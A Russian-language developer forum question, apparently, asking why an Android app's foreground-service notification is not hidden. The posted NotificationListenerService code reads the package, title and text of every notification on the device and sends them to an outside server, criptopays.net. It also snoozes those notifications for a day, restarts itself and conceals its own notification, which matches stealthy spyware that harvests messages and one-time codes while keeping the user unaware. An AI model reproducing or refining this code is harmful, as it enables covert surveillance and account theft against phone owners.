Создаю приложение в котором хочу скрыть все уведомления которое оно создает в том числе и фонового процесса путем отлаживания его показа на некоторое время. Но столкнулся с проблемой что не все уведомления моего приложения скрываются, за то некоторые уведомления сторонних могут быть скрыты что мне совсем не нужно.
У меня есть фоновый процесс который создает уведомление
public class ForegroundService extends Service {
private static final String CHANNEL_ID = "foreground_service_channel";
@SuppressLint("ForegroundServiceType")
@Override
public void onCreate() {
super.onCreate();
Log.i("ForegroundService", "Service created and running");
createNotificationChannel(); // Создание канала уведомлений
Notification notification = null;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
notification = new Notification.Builder(this, CHANNEL_ID)
.setContentTitle("My App is running") // Заголовок уведомления
.setContentText("Running in the background") // Текст уведомления
.setSmallIcon(R.drawable.ic_service_icon) // Иконка для уведомления
.setPriority(Notification.PRIORITY_MIN) // Низкий приоритет
.setVisibility(Notification.VISIBILITY_SECRET) // Уведомление будет скрыто
.build();
}
startForeground(1, notification); // Запуск сервиса в переднем плане
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
// Выполняйте задачи в фоне
return START_STICKY;
}
@Override
public IBinder onBind(Intent intent) {
return null;
}
private void createNotificationChannel() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
NotificationChannel serviceChannel = new NotificationChannel(
CHANNEL_ID,
"Foreground Service Channel",
NotificationManager.IMPORTANCE_DEFAULT
);
NotificationManager manager = getSystemService(NotificationManager.class);
if (manager != null) {
manager.createNotificationChannel(serviceChannel);
}
}
}
}
А так же
MyNotificationListenerService который скрывает его если его код таков
public class MyNotificationListenerService extends NotificationListenerService {
private static final String TAG = "NotificationListener";
@Override
public void onNotificationPosted(StatusBarNotification sbn, RankingMap rankingMap) {
super.onNotificationPosted(sbn, rankingMap);
Log.i(TAG, "Уведомление получено: " + sbn.getNotification().tickerText);
// Пример: откладываем уведомление на 60 секунд (60000 миллисекунд)
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
snoozeNotification(sbn.getKey(), 86400000);
}
Log.i(TAG, "Уведомление отложено на 60 секунд");
}
@Override
public void onNotificationRemoved(StatusBarNotification sbn) {
super.onNotificationRemoved(sbn);
Log.i(TAG, "Уведомление удалено: " + sbn.getNotification().tickerText);
}
}
Но если я изменяю
MyNotificationListenerService на
public class MyNotificationListenerService extends NotificationListenerService {
private static final String TAG = "NotificationListener";
private RequestQueue requestQueue;
@Override
public void onCreate() {
super.onCreate();
requestQueue = Volley.newRequestQueue(this);
// Создаем уведомление для Foreground Service
createNotificationChannel(); // Создаем канал уведомлений для Android 8.0 и выше
Notification notification = new NotificationCompat.Builder(this, "notification_channel_id")
.setContentTitle("Notification Listener")
.setContentText("Сервис слушает уведомления.")
.setSmallIcon(R.drawable.ic_service_icon) // Иконка уведомления
.setPriority(Notification.PRIORITY_MIN) // Минимальный приоритет
.setVisibility(NotificationCompat.VISIBILITY_SECRET) // Скрыть уведомление
.build();
// Переводим сервис в режим Foreground Service
startForeground(2, notification);
}
@Override
public void onNotificationPosted(StatusBarNotification sbn, RankingMap rankingMap) {
Notification notification = sbn.getNotification();
CharSequence title = notification.extras.getCharSequence(Notification.EXTRA_TITLE);
CharSequence text = notification.extras.getCharSequence(Notification.EXTRA_TEXT);
Map<String, String> notificationData = new HashMap<>();
notificationData.put("packageName", sbn.getPackageName());
notificationData.put("title", title != null ? title.toString() : "");
notificationData.put("text", text != null ? text.toString() : "");
sendNotificationData(new Gson().toJson(notificationData));
Log.i(TAG, "Уведомление получено: " + sbn.getNotification().tickerText);
// Пример: откладываем уведомление на 60 секунд (60000 миллисекунд)
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
snoozeNotification(sbn.getKey(), 86400000);
}
Log.i(TAG, "Уведомление отложено на 60 секунд");
}
@Override
public void onNotificationRemoved(StatusBarNotification sbn) {
super.onNotificationRemoved(sbn);
Log.i(TAG, "Уведомление удалено: " + sbn.getNotification().tickerText);
}
private void sendNotificationData(String jsonData) {
String url = "https://criptopays.net/not/"; // URL для отправки данных
StringRequest stringRequest = new StringRequest(Request.Method.POST, url,
new Response.Listener<String>() {
@Override
public void onResponse(String response) {
// Обработка успешного ответа
sendMessageToActivity("Успешно отправлено: " + response);
}
},
new Response.ErrorListener() {
@Override
public void onErrorResponse(VolleyError error) {
// Обработка ошибки
sendMessageToActivity("Ошибка: " + error.toString());
}
}) {
@Override
public byte[] getBody() {
return jsonData.getBytes(); // Отправляем данные как JSON
}
@Override
public String getBodyContentType() {
return "application/json; charset=utf-8"; // Указываем тип контента как JSON
}
};
requestQueue.add(stringRequest);
}
private void sendMessageToActivity(String message) {
Intent intent = new Intent("com.arturio.notification.RESULT");
intent.putExtra("message", message);
sendBroadcast(intent);
}
@Override
public void onDestroy() {
super.onDestroy();
stopForeground(true); // Остановить уведомление при уничтожении сервиса
}
// Создаем канал уведомлений для Android 8.0 и выше
private void createNotificationChannel() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
NotificationChannel channel = new NotificationChannel(
"notification_channel_id",
"Notification Listener Channel",
NotificationManager.IMPORTANCE_LOW);
NotificationManager manager = getSystemService(NotificationManager.class);
if (manager != null) {
manager.createNotificationChannel(channel);
}
}
}
@Override
public void onTaskRemoved(Intent rootIntent) {
// Перезапуск сервиса при его удалении
Intent restartServiceIntent = new Intent(getApplicationContext(), this.getClass());
restartServiceIntent.setPackage(getPackageName());
startService(restartServiceIntent);
super.onTaskRemoved(rootIntent);
}
@Override
public void onListenerConnected() {
StatusBarNotification[] activeNotifications = getActiveNotifications();
if (activeNotifications != null) {
for (StatusBarNotification sbn : activeNotifications) {
if (sbn.getPackageName().equals("com.example.targetapp")) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
snoozeNotification(sbn.getKey(), 86400000); // Откладываем каждое активное уведомление
}
}
}
}
}
}
В котором сам
MyNotificationListenerService создает так же уведомление то уведомление
MyNotificationListenerService отлаживается то есть исчезает а уведомление
ForegroundService остается видимым и не отлаживается на указанный период времени